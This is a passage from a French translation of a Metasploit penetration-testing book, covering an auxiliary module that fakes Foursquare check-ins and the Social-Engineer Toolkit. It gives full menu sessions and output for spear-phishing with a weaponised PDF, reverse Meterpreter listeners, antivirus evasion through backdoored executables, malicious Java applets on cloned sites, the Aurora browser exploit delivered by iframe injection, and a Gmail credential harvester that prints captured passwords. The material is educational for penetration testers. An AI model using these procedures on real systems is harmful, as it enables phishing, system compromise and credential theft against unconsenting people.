complet vers le module dans la structure de rpertoire Metasploit, lancez
une recherche comme ceci.
msf > search foursquare
[*] Searching loaded modules for pattern foursquare...

Auxiliary
=========

---- ---- -----------
admin/foursquare normal
Foursquare Location
Poster

msf > use admin/foursquare
msf auxiliary(foursquare) > info

Name: Foursquare Location Poster
Version: $Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG cg@carnal0wnage.com

Basic options:
---- --------------- -------- -----------
PASSWORD password yes foursquare password
RHOST api.foursquare.com yes The target address
USERNAME username yes foursquare username
VENUEID 185675 yes foursquare venueid
VHOST no
HTTP server virtual
host

Description:
F*ck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/
Dans cet exemple, nous cherchons "Foursquare" , lanons la commande
use pour slectionner le module auxiliaire et affichons les informations
pour le module slectionn. Nous devons configurer quelques unes des
options prsentes ci-dessus.
msf auxiliary(foursquare) > set VENUEID 2584421
VENUEID => 2584421
msf auxiliary(foursquare) > set USERNAME msf@elwood.net
USERNAME => metasploit
msf auxiliary(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit
msf auxiliary(foursquare) > run
[*] Base64 Encoded User/Pass: bXNmQGVsd29vZC5uZXQ6aWxvdmVtZXRhc3Bsb2l0
[*] Base64 Decoded User/Pass: msf@elwood.net:ilovemetasploit
[*] HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Date: Sat, 08 May 2010 07:42:09 GMT
Content-Length: 1400
Server: nginx/0.7.64
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>

<checkin><id>40299544</id><created>Sat, 08 May 10 07:42:09 +0000</created>
<message>OK!Weve got you @ Washington DC Union Station. This is your 1st checkin here!
</message><venue><id>2584421</id><name>Washington DC Union Station</name>
<primarycategory><id>79283</id><fullpathname>Travel:Train Station</fullpathname>
<nodename>Train Station</nodename>
<iconurl>http://foursquare.com/img/categories/travel/trainstation.png</iconurl></primary category>
<address>Union Station</address><city>Washington</city><state>DC</state>
<geolat>38.89777986957695</geolat><geolong>-77.0060920715332</geolong></venue><mayor>
<type>nochange</type><checkins>4</checkins><user><id>685446</id>
<firstname>Ron</firstname>
<photo>http://playfoursquare.s3.amazonaws.com/userpix_thumbs/ELOW44QHXJFB4PWZ.jpg</photo>
<gender>male</gender></user><message>Ron is The Mayor of Washington DC Union Station.
</message></mayor><badges><badge><id>1</id><name>Newbie</name>
<icon>http://foursquare.com/img/badge/newbie.png</icon><description>Congrats on your first check-
in!</description></badge></badges><scoring><score><points>1</points>
<icon>http://foursquare.com/img/scoring/2.png</icon><message>First stop tonight
</score><score><points>5</points><icon>http://foursquare.com/img/scoring/1.png</icon>
<message>First time @ Washington DC Union Station!</message></score></scoring></checkin>
Afin dexcuter ce module avec succs, nous avons besoin didentifiants
daccs Foursquare pour raliser notre enregistrement. Nous
dfinissons dabord le VenueID que lon trouve en ligne avec un peu de
recherche sur Google , puis dfinissons nos identifiants Foursquare et
excutons le module. Nous obtenons une rponse positive du service
Foursquare confirmant notre identification et obtenons cinq points .
Dans ce cas, nous avons soumis une demande de check-in la gare
"Union Station" Washington DC, grce au service Foursquare (voir
Figure 9.1).
Figure 9.1
Russite dun check-in lUnion Station.
Quand nous consultons le site Foursquare, notre succs est confirm. Un
module comme celui-ci dmontre que Metasploit permet de mettre en
uvre presque tout ce que nous pouvons imaginer en termes de
programmation.
Aller plus loin
Comme vous lavez vu, les modules auxiliaires permettent un large
ventail dutilisations. Linfrastructure fournie par le framework
Metasploit peut produire un large ventail doutils dans un temps trs
court. Grce aux modules auxiliaires de Metasploit, vous pouvez scanner
une plage dadresses IP pour dterminer quels htes sont en vie et quelles
tches sont en cours dexcution sur chaque hte. Vous pouvez ensuite
tirer parti de ces informations pour dterminer les services vulnrables,
comme dans lexemple WebDAV, ou mme vous connecter via
bruteforce sur un serveur distant.
Bien que vous puissiez facilement crer des modules auxiliaires, ne
ngligez pas ceux qui existent dans le framework. Ils peuvent tre
lunique outil dont vous avez besoin.
Les modules auxiliaires fournissent une large gamme de moyens
potentiels supplmentaires. Pour une application web, ils offrent plus de
quarante contrles ou attaques supplmentaires que vous pouvez
effectuer. Dans certains cas, vous voudrez peut-tre bruteforcer un
serveur web pour voir quels sont les serveurs qui listent leurs rpertoires.
Ou vous pouvez souhaiter scanner le serveur web pour voir sil peut agir
comme un proxy ouvert et relayer le trafic vers Internet. Quels que soient
vos besoins, les modules auxiliaires peuvent fournir des informations, des
vecteurs dattaque ou des vulnrabilits supplmentaires.
10
La bote outils du social engineer
(SET, Social Engineer Toolkit)
Sommaire
Configuration du SET
Le vecteur dattaque spear-phishing
Vecteurs dattaque web
Gnrateur de mdias infects
Le vecteur dattaque Teensy USB HID
Caractristiques supplmentaires du SET
Aller plus loin
Le SET a t dvelopp pour concider avec la sortie de social-
engineer.org, un ensemble de ressources conues par Chris Hadnagy
(loganWHD) et crit par lun des auteurs de ce livre, David Kennedy. Le
site centralise des tutoriels sur le social-engineering (SE), explique les
terminologies, les dfinitions et divers types de scnarios qui peuvent vous
aider vous prparer pour le piratage du "cerveau humain".
Le but du SET est de combler une lacune dans la communaut des
pentesters et de les sensibiliser aux attaques de social-engineering. Il fut
trs bien accueilli SET a t tlcharg un million de fois et est
maintenant un standard de lindustrie pour le dploiement dattaques de
social-engineering. Le toolkit attaque les faiblesses humaines en
exploitant la curiosit, la crdibilit, lavarice et plus simplement la
btise ! Les attaques de social-engineering atteignent des niveaux records
et sont toujours un grand risque pour de nombreuses organisations.
Bien sr, le social-engineering nest pas nouveau. Une personne qui
incite une autre accomplir des actes quelle naurait normalement pas
faits, cest vieux comme le monde ! Beaucoup dans la communaut de la
scurit croient que lingnierie sociale est lun des plus gros risques
auxquels les organisations font face car il est extrmement difficile de se
protger contre des attaques de ce type (vous vous souvenez peut-tre de
lattaque ultrasophistique dnomme "Opration Aurora", par exemple,
dans laquelle le social-engineering a t utilis pour attaquer des sources
de Gmail et dautres donnes de Google).
Un vecteur dattaque est la voie utilise pour obtenir des informations ou
laccs un systme. SET catgorise les attaques par vecteur dattaque
(tels que le Web, le courrier lectronique et les attaques bases sur USB).
Il utilise le-mail, les imitations de sites web et dautres vecteurs pour
atteindre les cibles huamines, gnralement en incitant des individus
compromettre la cible ou divulguer des renseignements sensibles.
Naturellement, chaque vecteur peut avoir un taux de russite diffrent en
fonction de la cible et de la communication utilise. Le SET est galement
livr avec des modles de-mails et de sites web prconstruits qui peuvent
tre utiliss pour des attaques de social-engineering. Le SET utilise
beaucoup le framework Metasploit.
En raison de la nature sociale des attaques elles-mmes, chaque exemple
dans ce chapitre est coupl dune histoire brve.
Par dfaut, dans Back|Track, le SET se trouve dans le rpertoire
/pentest/exploits/set/. Avant de commencer, assurez-vous que vous
utilisez la dernire version du SET.
root@bt:/pentest/exploits/set# svn update
Ensuite, configurez votre fichier de SET en fonction de ce que vous
essayez daccomplir. Nous allons couvrir quelques fonctionnalits
simples dans le fichier de configuration config/set_config situ dans le
rpertoire racine du SET.
Lorsque vous utilisez les vecteurs dattaque du SET bass sur le Web,
vous pouvez activer loption webATTACK_EMAIL pour effectuer du
phishing via e-mail conjointement lattaque web. Ce flag est dsactiv
par dfaut, ce qui signifie que vous devrez configurer SET et utiliser le
vecteur dattaque web sans passer par du phishing par e-mail.
METASPLOIT_PATH=/opt/Framework3/msf3

webATTACK_EMAIL=ON
Lune des attaques bases sur le Web disponibles dans le SET utilise des
applets Java autosigns. Par dfaut, elle utilise Microsoft comme le nom
de lditeur, mais si le JDK (Java Development Kit) a t install, vous
pouvez activer cette option sur ON et signer lapplet avec le nom que
vous voulez. Lorsque vous activez cette option, les options
supplmentaires seront disponibles via linterface.
SELF_SIGNED_APPLET=ON
Le rglage dAUTO_DETECT est lun des flags les plus importants et il
est activ par dfaut. Il indique au SET de dtecter votre adresse IP
locale automatiquement et de lutiliser comme adresse pour la reverse
connection et les serveurs web. Si vous utilisez plusieurs interfaces ou
que votre reverse payload listener soit hberg un endroit diffrent (sur
une autre machine), mettez cette option sur OFF. Lorsque cette option est
dsactive, le SET vous permet de spcifier plusieurs scnarios afin de
vous assurer que la bonne adresse IP sera utilise, par exemple pour un
scnario qui incluerait la NAT et la redirection de port. Ces options sont
refltes dans linterface du SET.
AUTO_DETECT=OFF
Lorsque vous utilisez la bote outils, par dfaut le SET utilise un serveur
web intgr dvelopp en Python. Pour optimiser ses performances,
initialisez le flag APACHE_SERVER sur ON et le SET utilisera Apache
pour les attaques.
APACHE_SERVER=ON
Ce sont les principes de base du fichier de configuration. Comme vous
pouvez le voir, vous pouvez sensiblement modifier le comportement du
SET en fonction de la valeur lquelle vous positionnez les flags.
Maintenant, utilisons loutil.
Le vecteur dattaque spear-phishing est spcialement adapt pour les
exploits sur les formats de fichier (par exemple, les exploits Adobe PDF).
Il est originellement conu pour effectuer des attaques laide de-mails
contenant des pices jointes, qui, lorsquelles sont ouvertes,
compromettent la machine cible. Le SET peut utiliser les relais SMTP
ouverts (Simple Mail Transport Protocol la fois anonyme et
accrdit), Gmail et Sendmail pour envoyer des e-mails. Il peut
galement utiliser le courrier lectronique standard ou les e-mails en
HTML pour effectuer le phishing.
Prenons un test de pntration dans le monde rel ciblant lentreprise
XYZ. Vous enregistrez un nom de domaine semblable la socit XYZ,
disons companyxyz.com. Puis, vous enregistrez le sous-domaine
companyxyz.com. Ensuite, vous envoyez une attaque de spear-phishing
la socit cible, sachant que la plupart des employs ne jetteront quun
coup dil sur le-mail et ouvriront la pice jointe qui semble tre
lgitime. Dans ce cas, nous ferons parvenir un fichier buggu au format
PDF notre cible, comme ceci.
root@bt:/pentest/exploits/set# ./set

Select from the menu:

1. Spear-Phishing Attack Vectors
2. Website Attack Vectors
3. Infectious Media Generator
4.
Create a Payload and
Listener

5. Mass Mailer Attack
6.
Teensy USB HID
Attack Vector

7.
SMS Spoofing Attack
Vector

8. Wireless Access Point Attack Vector
9. Third Party Modules
10.
Update the Metasploit
Framework

11. Update the Social-Engineer Toolkit
12. Help, Credits, and About
13. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small)

number of people with attached fileformat malicious payloads. If
you
want to spoof your email address, be sure "Sendmail" is installed (it

is installed in BT4) and change the config/set_config
SENDMAIL=OFF flag
to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET
do

everything for you (option 1), the second is to create your own
FileFormat

payload and use it in your own attack. Either way, good luck and
enjoy!

1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu


Select the file format exploit you want.
The default is the PDF embedded EXE.

********** PAYLOADS **********

1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2. SET Custom Written Document UNC LM SMB Capture Attack
3.
Microsoft Windows CreateSizedDIBSECTION Stack Buffer
Overflow
4.
Microsoft Word RTF pFragments Stack Buffer Overflow
(MS10-087)
5. Adobe Flash Player Button Remote Code Execution
6. Adobe CoolType SING Table uniqueName Overflow
7. Adobe Flash Player newfunction Invalid Pointer Use
8. Adobe Collab.collectEmailInfo Buffer Overflow
9. Adobe Collab.getIcon Buffer Overflow
10. Adobe JBIG2Decode Memory Corruption Exploit
11. Adobe PDF Embedded EXE Social Engineering
12. Adobe util.printf() Buffer Overflow
13. Custom EXE to VBA (sent via RAR) (RAR required)
14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15. Adobe PDF Embedded EXE Social Engineering (NOJS)
16. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17. Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

Enter the number you want (press enter for default): 8

1.
Windows Reverse TCP
Shel
Spawn a command shell on victim and
send back to attacker.
2.
Windows Meterpreter
Reverse_TCP
Spawn a meterpreter shell on victim
and send back to attacker.
3.
Windows Reverse VNC Spawn a VNC server on victim and
DLL send back to attacker.
4.
Windows Reverse TCP
Shell (x64)
Windows X64 Command Shell,
Reverse TCP Inline
5.
Windows Meterpreter
Reverse_TCP (X64)
Connect back to the attacker
(Windows x64), Meterpreter
6.
Windows Shell
Bind_TCP (X64)
Execute payload and create an
accepting port on remote system.
7.
Windows Meterpreter
Reverse HTTPS
Tunnel communication over HTTP
using SSL and use Meterpreter.

Enter the payload you want (press enter for default):

[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
[*] Defaulting to port 443...
[*] Generating fileformat exploit...
[*] Creating template.pdf file...
[*]
Generated output file
/pentest/exploits/set/src/program_junk/template.pdf
[*] Payload creation complete.
[*]
All payloads get sent to the src/msf_attacks/template.pdf
directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your
attachment.

Right now the attachment will be imported with filename of
template.whatever
Do you want to rename the file?
example Enter the new filename: moo.pdf

1. Keep the filename, I dont care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1
Keeping the filename and moving on.
Dans le menu principal du SET, slectionnez Spear-Phishing Attack
Vectors suivi par Perform a Mass Email Attack . Cette attaque
infecte un fichier PDF afin dexploiter la vulnrabilit du logiciel Adobe
Collab.collectEmailInfo , puis de lancer un reverse payload
Meterpreter qui est la valeur par dfaut du SET.
Collab.collectEmailInfo est un exploit bas sur le heap qui, sil est ouvert
(et si la version dAdobe Acrobat de la cible est vulnrable cet exploit),
va se connecter au poste de travail de lattaquant sur le port 443, qui est
un trafic gnralement autoris en sortie de la plupart des rseaux.
Vous avez galement la possibilit de renommer le fichier malveillant
pour le rendre plus attrayant afin que la cible louvre. Le nom par dfaut
(template.pdf) est slectionn dans ce scnario des fins de
dmonstration.
Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would be to
send an email to one individual person. The second option will allow
you to import a list and send it to as many people as you want within
that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.


Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

Below is a list of available templates:

1: New Update
2: Computer Issue
3: Strange Internet usage from your computer
4: ...have to check this out...
5: Status Report
6: Pay Raise Application Form
7: WOAAAA!!!!!!!!!! This is crazy...
8: BasketBall Tickets
9: Baby Pics
10: Have you seen this?
11: Termination List
12: How long has it been?
13: Dan Browns Angels & Demons

Enter the number you want to use: 5

Enter who you want to send email to:

ihazomgsecurity@secmaniac.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your GMAIL email address: fakeemailaddy@gmail.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.
Ensuite, nous envoyons cette attaque par e-mail une seule adresse en
utilisant le template de-mail prdfini du SET : status report . Enfin,
nous entrons ladresse e-mail (ihazomgsecurity@secmaniac.com) qui
recevra le fichier malveillant et utilisons un compte Gmail via SET
pour envoyer le message.
Finalement, nous crons un listener Metasploit pour que le payload puisse
sy connecter en retour . Lorsque le SET lance Metasploit, il configure
toutes les options ncessaires et commence couter le trafic sur votre
adresse IP sur le port 443 , tel que configur plus tt.
Do you want to setup a listener yes or no: yes

resource (src/program_junk/meta_config)> use exploit/multi/handler

resource (src/program_junk/meta_config)> set PAYLOAD
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 10.10.1.112
LHOST => 10.10.1.112
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443

resource (src/program_junk/meta_config)> set ENCODING
shikata_ga_nai
ENCODING => shikata_ga_nai
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
Nous venons de mettre en place une attaque contre
ihazomgsecurity@secmaniac.com, nous avons crit un e-mail au
destinataire et utilis un exploit de type format de fichier Adobe. Le SET
nous a permis de crer des modles et de les importer dynamiquement.
Lorsque la cible ouvre le message et double-clique sur le fichier Adobe,
elle verra quelque chose comme la Figure 10.1.
Figure 10.1
Vue de la cible du fichier PDF infect.
La cible ouvre le PDF en pensant quil est lgitime et son systme est
immdiatement compromis. Du ct de lattaquant, vous voyez ce qui
suit :
msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*] 10.10.1.102:58087)


meterpreter > shell
Channel 1 created.

C:\Documents and Settings\Bob\Desktop>
Cet exemple montre une attaque de spear-phishing ciblant un utilisateur,
mais le SET peut galement tre utilis pour attaquer des cibles multiples
laide de loption de-mailing de masse. Vous pouvez aussi crer des
modles personnaliss qui peuvent tre rutiliss au lieu demployer les
modles prdfinis inclus dans le SET.
Les vecteurs dattaque web sont probablement lun des aspects les plus
avancs et les plus passionnants du SET parce quils sont spcifiquement
conus pour tre crdibles et attractifs pour la cible. Le SET peut cloner
des sites qui semblent identiques au site original en faisant en sorte que la
cible pense quil visite le site lgitime.
Applet Java
Lattaque dApplet Java est lun des vecteurs dattaque les plus russis
dans le SET. Lapplet elle-mme a t cre par lun des dveloppeurs
du SET, Thomas Werth. Cette attaque introduit une applet Java
malicieuse qui dtecte intelligemment le navigateur (si votre exploit
fonctionne) et dlivre un payload une machine cible. Lattaque par
applet Java nest pas considre comme une vulnrabilit de Java. Quand
une cible navigue sur le site malveillant, un message davertissement
apparat vous demandant sil peut excuter une applet Java non fiable.
Comme Java vous permet de signer une applet avec nimporte quel nom,
vous pouvez utiliser le nom Google, Microsoft ou toute autre chane que
vous choisissez. En modifiant le fichier set_config et en mettant
webATTACK_EMAIL sur ON, vous pouvez galement intgrer un envoi
massif de-mails avec cette attaque.
Illustrons dsormais cela avec un exemple concret, un test de pntration
ralis pour une socit du Fortune 1000. Tout dabord, une imitation de
nom de domaine, comparable celle du site web vritable, a t
enregistre. Ensuite, lattaquant recherche sur Internet des adresses e-
mail du type x@la-societe-cible.fr en utilisant le module de rcolte
didentifiants (harvester) au sein de Metasploit. Aprs lextraction de
200 adresses e-mail partir de sites web publics, des e-mails en masse
sont envoys ces adresses. Le-mail utilis pour lattaque prtend
provenir du ple communication de lentreprise et demande lemploy
de se connecter sur son nouveau site web. Chaque e-mail a t
personnalis avec le nom du destinataire et affirme que lemploy peut
cliquer sur un lien pour voir une photo de lui-mme sur la page daccueil
de lentreprise. Le-mail explique que ce nouveau site affiche la photo de
lemploy comme un tmoignage de son travail acharn. La curiosit et
la peur sont les principaux facteurs de motivation utiliss afin dobtenir de
chaque cible un clic immdiat sur lURL.
Une fois que la cible a cliqu sur le lien, une notification dapplet Java
surgit, signe par la socit de lemploy. La cible clique alors sur la
commande dexcution parce que la notification a lair lgitime, mais la
commande est base sur le site clon dans le faux domaine. Mme si les
employs nont pas vu leur photo, ils se sont retrouvs face un site qui
avait lair lgitime, sans se rendre compte que leurs machines avaient t
compromises : lorsque lutilisateur a cliqu sur Excuter dans le prompt
de scurit de lapplet Java, un payload a t excut et a ouvert un shell
lattaquant. Une fois le payload excut, la cible a t redirige vers le
site lgitime.
Le SET peut tre utilis pour cloner un site web et en rcrire des
portions de sorte que lorsque la cible visite le site malveillant, celui-ci
semble identique au site dorigine. Voyons comment nous pourrions
mettre en place cette attaque sur un site fictif,
http://www.secmaniac.com/, dans le SET :




1. The Java Applet Attack Method
Enter your choice (press enter for default): 1

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that
you should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]

1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu

Enter number (1-4): 2

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://www.secmaniac.com

[*] Cloning the website: http://www.secmaniac.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*]
Filename obfuscation complete. Payload name is:
0xvV3cYfbLBI3
[*] Malicious java applet website prepped for deployment
Pour commencer cette attaque, slectionnez Website Attack Vectors
dans le menu principal du SET. Utilisez la mthode Java Applet Attack
Method puis choisissez Site Cloner dans le menu qui suit. Enfin,
demandez au SET de cloner le site SecManiac .

What payload do you want to generate:
Name: Description:
2.
Windows
Reverse_TCP
Meterpreter
Spawn a meterpreter shell on victim and
sendback to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, backdoored executable is typically the
best.

16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-]
Backdooring a legit executable to bypass Anti-Virus. Wait a few
seconds...
[-]
Backdoor completed successfully. Payload is now hidden within
a legit executable.

********************************************************
Do you want to create a Linux/OSX reverse_tcp payload
in the Java Applet attack as well?
********************************************************

Enter choice yes or no: no

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--
]
Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
Comme pour les autres mthodes dattaque du SET, les attaquants
peuvent utiliser toute une batterie de payloads. Le reverse payload
Meterpreter propos par dfaut est souvent un excellent choix. Pour ce
scnario, vous pouvez simplement slectionner les paramtres par dfaut
lorsque vous tes invits dterminer lencodeur utiliser et le port
utiliser pour se reconnecter.
Avec la configuration complte, le SET lance Metasploit :


Le SET fournit toutes les options ncessaires pour Metasploit qui
paramtre alors le reverse Meterpreter listener sur le port 443 .
Note
Vous avez cr un serveur web hbergeant une instance clone de
http://www.secmaniac.com/. Si vous aviez chang le fichier de
configuration en incluant WEBATTACK_EMAIL = ON, vous devriez
avoir t invit envoyer un e-mail en utilisant le spear-phishing comme
vecteur dattaque (pices jointes en moins).
Maintenant que tout est configur, il vous suffit de trouver une cible qui
accdera au site malveillant. Aprs avoir atteint le site, la cible voit un
pop-up davertissement sign du nom de la socit qui a publi le code
prt sexcuter, Microsoft (voir Figure 10.2). Si elle clique sur
Excuter, et la plupart des utilisateurs le feront, le payload sera excut
et vous prendrez alors le contrle complet du systme de lutilisateur.
Note
Rappelons que la configuration du SET peut autosigner lapplet Java avec
ce que vous voulez. Rappelez-vous aussi que, quand la cible clique sur
Excuter et que le payload est excut et dlivr, la cible est redirige
vers le site lgitime de SecManiac.
Figure 10.2
Prompt de lapplet Java.
De retour sur notre machine dattaquant, la session Meterpreter est
tablie avec succs et nous avons maintenant accs la machine de la
cible, comme indiqu ici.
msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*]
10.10.1.102:58550)


shellmeterpreter > shell
Channel 1 created.

C:\Documents and Settings\Administrator\Desktop>
Exploits web ct client
Le SET peut galement utiliser des exploits web ct client. Dans ce cas,
au lieu de prsenter une applet Java la cible, un exploit ct client
directement import depuis Metasploit est utilis pour attaquer le systme.
Pour y parvenir, vous devez compter sur votre reconnaissance pralable
ou esprer que lutilisateur est faillible une vulnrabilit spcifique.
Cette mthode est particulirement efficace si une vulnrabilit zero-day
est dcouverte. Ds que lexploit est publi par Metasploit, il est
gnralement test et publi par le SET dans lheure.
Dans cet exemple, nous allons rpter le scnario prcdent, mais nous
allons utiliser une attaque ct client. La majorit des attaques ct client
visent spcifiquement des failles navigateur. La plupart des exploits du
SET ciblent Internet Explorer, mais des exploits pour Firefox sont
galement utilisables. Dans ce scnario, nous allons utiliser le vecteur
dattaque Aurora qui a t utilis pour compromettre Google. Pour
commencer, procdez comme suit :



2. The Metasploit Browser Exploit Method



2. Site Cloner


Slectionnez Website Attack Vectors dans le menu principal du SET,
puis slectionnez The Metasploit Browser Exploit Method . Ensuite,
slectionnez loption Site Cloner , puis entrez
http://www.secmaniac.com comme site web que vous souhaitez utiliser
pour le clonage.
Une fois que le site est clon, nous allons paramtrer lexploit de sorte
quil se dclenche quand une cible navigue sur le site.
Enter the browser exploit you would like to use

16. Microsoft Internet Explorer "Aurora"

Enter your choice (1-23) (enter for default): 16

Name: Description:
2.
Windows
Reverse_TCP
Meterpreter

Enter choice (example 1-10) (Enter for default):
Enter the port to use for the reverse (enter for default):

[*] Cloning the website: http://www.secmaniac.com
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.
[*] This may take a few to load MSF...


[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http:// 10.10.1.112:8080/

[*] Server started.
Pour terminer la configuration de lattaque, slectionnez lexploit ct
client que vous souhaitez utiliser. Ci-dessus, nous choisissons linfme
exploit Internet Explorer Aurora et acceptons le reverse Meterpreter
comme payload en appuyant sur ENTER .
Quand la cible atteint http://www.secmaniac.com/, le site semble normal,
mais son systme est compromis par une injection diframe. Le SET
rcrit automatiquement le site pour contenir liframe qui abrite lattaque
ct client de Metasploit.
De retour sur la machine attaquante, nous voyons que lattaque est
russie. La session Meterpreter a tabli la connexion entre la cible et la
machine attaquante, et nous avons un accs complet au systme, comme
le montre ceci.
[*]
10.10.1.102:58412)


shellmeterpreter > shell
Channel 1 created.

C:\Documents and Settings\Administrator\Desktop>
Recueillir des noms dutilisateurs et des mots de passe
Dans les exemples prcdents, lobjectif tait dobtenir un accs au
systme lui-mme. Nous avons la possibilit, relativement nouvelle au
sein du SET, de cloner un site web et de rcolter des informations
didentification des visiteurs quand ils accdent au site ; nous allons le
dmontrer laide de Gmail dans lexemple suivant. Le SET peut crer
un clone du site web de Gmail, puis rcrire automatiquement les
paramtres POST de ce site web pour les afficher grce au serveur web
du SET et enfin rediriger lutilisateur vers le site web lgitimement clon.
3. Credential Harvester Attack Method



2. Site Cloner


Email harvester will allow you to utilize the clone capabilities within
SET to harvest credentials or parameters from a website as well as
place them into a report.


Press {return} to continue.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
Aprs avoir slectionn Website Attack Vectors et le Credential
Harvester , choisissez Site Cloner . La configuration pour cette
attaque est minimale et ncessite uniquement que vous passiez une URL
(http://www.secmaniac.com) au SET contenant un formulaire de
connexion.
Le serveur web fonctionne et attend la rponse de la cible. Comme
mentionn prcdemment, vous pouvez dans ce cas configurer
WEBATTACK_CONFIG = ON et le SET vous invitera tenter un envoi
massif de-mails qui encourageront les cibles cliquer sur le lien. La
page web prsente la cible semblera identique au site web de Gmail et
sa page de connexion initiale.
Lorsque la cible entre son mot de passe, le navigateur redirige
automatiquement vers le site original de Gmail, tandis que les
informations ci-aprs sont prsentes lattaquant :
10.10.1.102 - - "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
PARAM: ltmpl=default
PARAM: ltmplcache=2
PARAM: continue=https://mail.google.com/mail/?
PARAM: service=mail
PARAM: rm=false
PARAM: dsh=-1174166214807618980
PARAM: scc=1
PARAM: ss=1
PARAM: GALX=S3ftXFIww0E
POSSIBLE USERNAME FIELD FOUND:
Email=ihazomgsecurity2390239203
POSSIBLE PASSWORD FIELD FOUND:
Passwd=thisisacomplexp@55w0rd!!!!!
PARAM: rmShown=1
PARAM: signIn=Sign+in
PARAM: asts=
[*]
WHEN YOURE FINISHED, HIT CONTROL-C TO
GENERATE A REPORT.
Le SET utilise un dictionnaire intgr pour reprer les champs du
formulaire et les paramtres des sites susceptibles de contenir des
informations sensibles. Il met fortement en valeur les paramtres
contenant des noms dutilisateurs et mots de passe potentiels pour indiquer
quils pourraient tre sensibles et mriteraient une recherche
approfondie.
Une fois que vous avez fini de rcolter toutes les informations
didentification de la cible, appuyez sur CTRL+C pour gnrer un
rapport (voir Figure 10.3). Le rapport utilise le formatage XML et
HTML.
Le serveur web du SET est multitches et peut traiter autant de demandes
que votre serveur peut en grer. Quand plusieurs cibles entrent leurs
informations didentification dans le site, le SET organise
automatiquement les rsultats dans un rapport format sparant les
champs de formulaire sous une forme lisible.
Vous pouvez galement exporter les rsultats dans un format compatible
XML pour ensuite limporter dans des outils ou des analyseurs que vous
utilisez dj.
Figure 10.3
Rapport du recueil dinformations didentification.
Tabnabbing
Dans un scnario de tabnabbing, une cible est attrape lorsquelle accde
un site web avec plusieurs onglets ouverts. Lorsque la cible clique sur
un lien, il est accompagn dun message "Merci de patienter durant le
chargement de la page." Lorsquelle passe un autre onglet, le site
dtecte quun autre onglet possde le focus et rcrit la page web qui
prsentait le message "Merci de patienter" avec un site web que vous
spcifiez.
ventuellement, la cible cliquera sur longlet "tabnabb", et croyant
quon lui demande didentifier son programme de messagerie ou son
application dentreprise, elle entrera ses informations didentification sur
le site sosie malveillant. Les informations didentification seront
recueillies et la cible sera redirige vers le site dorigine. Vous pouvez
accder lattaque par vecteur "tabnabbing" depuis linterface dattaque
web par vecteur du SET.
MLITM (Man-Left-in-the-Middle)
Une attaque MLITM utilise des referers HTTP sur un site dj compromis
ou une vulnrabilit de type cross-site scripting (XSS) permettant de
passer les informations didentification de la cible en retour au serveur
HTTP. Si vous trouvez une vulnrabilit XSS et si vous envoyez lURL
la cible, qui clique ensuite sur le lien, le site fonctionnera normalement,
mais lorsque la cible se connectera au systme, ses informations seront
transmises lattaquant. Le vecteur dattaque MLITM peut tre utilis via
linterface de vecteur dattaque web du SET.
Web-jacking
La mthode dattaque web jacking, nouveaut de la version du SET 0.7,
permet de crer un clone de site web dans lequel un lien est prsent la
cible, indiquant que le site a dmnag. Lorsque le pointeur de la cible
survole le lien, lURL prsente est la vraie et non lURL de lattaquant.
Ainsi, par exemple, si vous clonez https://gmail.com style URL/, lURL qui
apparatra sur la machine cible lorsquil survolera le lien avec sa souris
sera https://gmail.com style URL/. Lorsque la cible clique sur le lien,
Gmail souvre mais est rapidement remplac par votre serveur web
malveillant.
Cette attaque utilise un remplacement diframe bas sur le temps.
Lorsque la cible survole le lien, il pointe vers un quelconque site que vous
avez clon. Si elle clique sur le lien, liframe de remplacement va
immdiatement remplacer lecontenu de son navigateur par le site
